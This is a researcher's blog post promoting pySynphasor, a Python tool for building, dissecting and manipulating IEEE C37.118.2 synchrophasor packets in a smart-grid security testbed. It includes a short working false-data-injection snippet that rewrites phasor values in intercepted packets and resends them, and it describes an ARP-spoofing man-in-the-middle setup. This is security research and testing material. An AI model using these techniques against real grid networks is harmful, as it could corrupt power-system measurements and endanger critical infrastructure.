Shuvangkar Das, PhD

3 minute read

Have you ever wanted to peek into the bytes flying between Phasor Measurement Units (PMUs) and Phasor Data Concentrator (PDC) What if you could rebuild those packets, inject false data, and test the grid’s resilience against real cyberattacks? Welcome to pySynphasor , a powerful, open-source Python tool that enables packet-level manipulation of IEEE C37.118.2 messages used in synchrophasor-based smart grids.

What is pySynphasor?

pySynphasor is a Python module built on top of Scapy, tailored for:

  • Parsing & building IEEE C37.118.2 packets
  • Injecting False Data Injection Attacks (FDIA)
  • Running MITM attacks via ARP spoofing
  • Creating custom PDCs and µPMUs

📦 Install it now:

pip install pySynphasor

Full docs + examples: https://shuvangkardas.com/pySynphasor GitHub Repository: https://github.com/shuvangkardas/pySynphasor

1. Build a C37.118.2 Command Packet in Python

Let’s start simple, construct a basic command packet and inspect it.

Code

from pySynphasor.synphasor import *

cmdPkt = synphasor(type=4, idcode=10) / synphasor_cmd(cmd=5)
cmdPkt.show2()
print("Raw Bytes:", raw(cmdPkt))

Output (Human-readable)

###[ IEEE C37.118.2 COMMON FRAME ]###
  synByte= 0xaa
  type= CMD
  version= Version 2
  framesize= 18
  idcode= 10

###[ synphasor command ]###
  cmd= 5
  chk= 0xb6b3

Output (Machine/Raw)

Raw Bytes: b'\xaaB\x00\x12\x00\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\xb6\xb3'

ust two lines to build a fully valid C37.118 command frame!

🔍 2. Dissect Real Packets from a Testbed

Captured a packet between a PMU and a PDC? pySynphasor will convert it into human-friendly structure.

packet = sniff(count=1)[0]  # Get a packet
packet.show()

Output shows layers like:

  • Ethernet
  • IP/TCP
  • IEEE C37.118.2 Common Frame

  • Phasor Data (complex numbers)

3. Inject a False Data Attack (FDIA)

Imagine intercepting a synchrophasor packet and injecting fake phasor measurements. Here’s how we did that in our testbed:

Code

synPkt = packet['synphasor_data']
synPkt.pmu_data[0].phasors[0] = complex(30, 20)
synPkt.pmu_data[0].phasors[1] = complex(70, 80)

del packet[IP].chksum, packet[TCP].chksum
send(packet)

Visual: Before vs After FDIA

Measurement Before Attack After Attack
Phasor 1 (2453 + 2444j) (30 + 20j)
Phasor 2 (2954 + 2780j) (70 + 80j)
Phasor 3 (2922 + 2079j) (unchanged in this demo)

4. Man-in-the-Middle (MITM) Attack Setup

We deployed 3 VMs: µPMU, pyPDC, and attacker. Using ARP spoofing, we rerouted traffic via the attacker.

ARP Poisoning Snapshot

Device IP Original MAC Spoofed MAC
PMU 10.0.2.4 08:00:27:c9:f7:61 08:00:27:a7:1b:c3
PDC 10.0.2.7 08:00:27:69:58:64 08:00:27:a7:1b:c3

pySynphasor vs Other Tools

Feature pyPMU pySynphasor ✅
Build C37.118.2 Packets ✅ ✅
Dissect Captured Packets ❌ ✅
Perform FDIA/MITM ❌ ✅
Includes pyPDC (multi-PMU) ❌ ✅
Scapy-powered for full control ❌ ✅

📈 Future Work

We’re expanding pySynphasor to:

  • Support IEC 61850-90-5 protocol
  • Add fuzz testing capabilities
  • Build a GUI dashboard for researchers

Conclusion

pySynphasor is more than a packet tool — it’s a testbed enabler, a vulnerability scanner, and a research catalyst for cyber-physical power systems.

🔗 GitHub: github.com/shuvangkardas/pySynphasor
📘 Paper: Scalable cyber‐physical testbed for cybersecurity evaluation of synchrophasors in power systems 🌐 Docs: shuvangkardas.com/pySynphasor

👉 If this helped you or sparked ideas, don’t forget to ⭐ the repo and share!

How to cite the paper

  1. S. C. Das, T. Vu, H. Ginn, and K. Schoder, “Implementation of IEEE C37. 118 Packet Manipulation Tool, pySynphasor for Power System Security Evaluation,” in 2023 IEEE Electric Ship Technologies Symposium (ESTS), 2023, pp. 542-548.
  2. S. C. Das and T. Vu, “Scalable Cyber-Physical Testbed for Cybersecurity Evaluation of Synchrophasors in Power Systems,” arXiv preprint arXiv:2207.12610, 2022.

How to contribute

  • Please check TODO.md to find out where you can help us.
  • Fork this repo.
  • Create new branch: git checkout -b fixing-stupid-bug
  • Commit changes: git commit -m ‘There you go! Fixed the stupid bug.’
  • Push changes to the branch: git push origin fixing-your-stupid-bug
  • Submit pull request.

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👋 About Me

Hi, I’m Shuvangkar Das — a power systems researcher with a Ph.D. in Electrical Engineering, currently working as a Research Scientist. I work at the intersection of power electronics, inverter-based DERs (IBRs), and AI to help build smarter, greener, and more stable electric grids.

My work spans large-scale EMT simulations, firmware development, reinforcement learning, and hardware prototyping. Beyond engineering, I’m also a YouTuber and content creator — sharing hands-on insights on productivity, research, and knowledge management. My goal is simple: to make complex ideas more accessible and actionable for everyone.

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